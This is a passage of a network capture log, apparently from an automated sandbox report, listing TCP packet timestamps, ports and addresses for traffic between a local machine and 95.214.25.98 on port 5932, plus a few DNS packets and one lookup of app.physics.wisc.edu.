Nov 17, 2023 06:23:08.701256037 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.701272964 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.701273918 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.701361895 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.701994896 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.702044964 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.702063084 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.702097893 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.702864885 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.702883959 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.702900887 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.702909946 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.702934027 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.703619957 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.703638077 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.703655005 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.703684092 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.704523087 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.704540968 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.704557896 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.704566956 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.704591990 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.705296040 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.705312967 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.705328941 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.705359936 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.706069946 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.706114054 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.706156015 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.706559896 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.706598043 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.706604958 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.706615925 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.706685066 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.707480907 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.707498074 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.707515001 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.707551956 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.708254099 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.708276987 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.708301067 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.708302975 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.708378077 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.709028006 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.709047079 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.709064007 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.709108114 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.709876060 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.709892988 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.709911108 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.709918022 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.709948063 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.710609913 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.710649014 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.710678101 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.710719109 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.711389065 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.711431026 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.711437941 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.711457014 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.711497068 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.712234974 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.712253094 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.712270021 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.712300062 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.712975025 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.712994099 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.713011026 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.713020086 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.713044882 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.713845015 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.713861942 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.713879108 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.713912010 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.714586973 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.714606047 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.714622021 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.714646101 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.714672089 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.715373993 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.715392113 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.715409040 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.715444088 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.716156960 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.716201067 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.716202021 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.716219902 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.716257095 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.716927052 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.716950893 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.716968060 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.716994047 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.717730045 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.717747927 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.717765093 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:08.717773914 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.717816114 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.717991114 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:08.731226921 CET	49714	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:09.046706915 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:09.060064077 CET	5932	49714	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:20.381690979 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:20.699997902 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:20.700110912 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:20.700254917 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:21.018199921 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:21.022648096 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:21.022661924 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:21.022743940 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:21.030775070 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:21.355604887 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:21.355855942 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:21.680713892 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:21.684365988 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:22.042541981 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:22.042618990 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:22.360548973 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:22.361179113 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:22.364758968 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:22.723417997 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:22.723529100 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:23.041675091 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:23.042633057 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:23.042651892 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:23.042664051 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:23.042732954 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:23.089466095 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:23.266570091 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:23.266733885 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:23.266807079 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:23.266947031 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:23.267024040 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:23.584813118 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:23.584834099 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:23.584866047 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:23.584875107 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:23.584927082 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:23.584983110 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:23.585012913 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:23.585068941 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:23.625515938 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:23.625583887 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:23.902973890 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:23.902992010 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:23.903001070 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:23.903028965 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:23.903033972 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:23.903048038 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:23.903058052 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:23.903064013 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:23.903264046 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:23.903264046 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:23.943675995 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:24.221446991 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:24.221467018 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:24.221477985 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:24.221488953 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:24.221503973 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:24.221514940 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:24.221591949 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:24.221605062 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:24.221728086 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:24.221740007 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:24.222826004 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:24.276937008 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:24.450237036 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:24.450432062 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:24.450544119 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:24.768361092 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:24.768428087 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:24.768439054 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:24.768492937 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:24.768497944 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:25.087435961 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:25.136317968 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:25.196604013 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:25.196811914 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:25.511392117 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:25.515080929 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:25.515161037 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:25.829992056 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:25.833070993 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:25.870671988 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:26.841238022 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:27.159660101 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:27.159770966 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:27.477969885 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:27.478636026 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:27.478981972 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:27.485306025 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:27.485439062 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:27.485491991 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:27.485598087 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:27.485646009 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:27.535834074 CET	49716	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:27.797133923 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:27.803379059 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:27.803504944 CET	5932	49716	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:32.464910984 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:32.785548925 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:32.785762072 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:32.786056995 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:33.105822086 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:33.112417936 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:33.112435102 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:33.112508059 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:33.119362116 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:33.443794966 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:33.444170952 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:33.770695925 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:33.773063898 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:34.133095026 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:34.133172035 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:34.452946901 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:34.453808069 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:34.456418037 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:34.817027092 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:34.817095041 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:35.136826992 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.137801886 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.140430927 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.140527010 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:35.140765905 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.140786886 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.140804052 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.140954018 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:35.152090073 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.152228117 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:35.163337946 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.174482107 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.174566031 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:35.185671091 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.196887016 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.196981907 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:35.208076000 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.219285965 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.219340086 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:35.230565071 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.241668940 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.241719007 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:35.252917051 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.308132887 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:35.460313082 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.465934992 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.466032028 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:35.477103949 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.488352060 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.488415956 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:35.499553919 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.510763884 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.510847092 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:35.522869110 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.533272982 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.533345938 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:35.544692993 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.559647083 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.559693098 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:35.567572117 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.578001022 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.578083992 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:35.592036963 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.602729082 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.602787971 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:35.614701986 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.620970964 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.621066093 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:35.631548882 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.642184973 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.642271996 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:35.652780056 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.663435936 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.663516998 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:35.673989058 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.684463024 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:35.684525967 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:37.893239021 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:38.253072023 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:38.253144979 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:38.572925091 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:38.574949026 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:38.575313091 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:38.575351000 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:38.575402021 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:38.589067936 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:38.589080095 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:38.589159966 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:38.597285986 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:38.597300053 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:38.597371101 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:38.610954046 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:38.610991955 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:38.611074924 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:38.624916077 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:38.624933004 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:38.624994993 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:38.638578892 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:38.638592958 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:38.638672113 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:38.652303934 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:38.652318954 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:38.652439117 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:38.665880919 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:38.665894032 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:38.665951967 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:38.679678917 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:38.679691076 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:38.679748058 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:38.693433046 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:38.693445921 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:38.693523884 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:38.735100031 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:39.095061064 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:39.095217943 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:39.415158033 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:39.415656090 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:39.415827990 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:39.415893078 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:39.416156054 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:39.416224957 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:39.416393995 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:39.416429996 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:39.416464090 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:39.416496038 CET	49717	5932	192.168.2.5	95.214.25.98
Nov 17, 2023 06:23:39.736444950 CET	5932	49717	95.214.25.98	192.168.2.5
Nov 17, 2023 06:23:39.736462116 CET	5932	49717	95.214.25.98	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 17, 2023 06:22:20.292543888 CET	60284	53	192.168.2.5	1.1.1.1
Nov 17, 2023 06:22:20.579994917 CET	53	60284	1.1.1.1	192.168.2.5
Nov 17, 2023 06:22:22.378773928 CET	64358	53	192.168.2.5	1.1.1.1
Nov 17, 2023 06:22:22.531732082 CET	53	64358	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 17, 2023 06:22:20.292543888 CET	192.168.2.5	1.1.1.1	0xd103	Standard query (0)	app.physics.wisc.edu	A (IP address)	IN (0x0001)	false
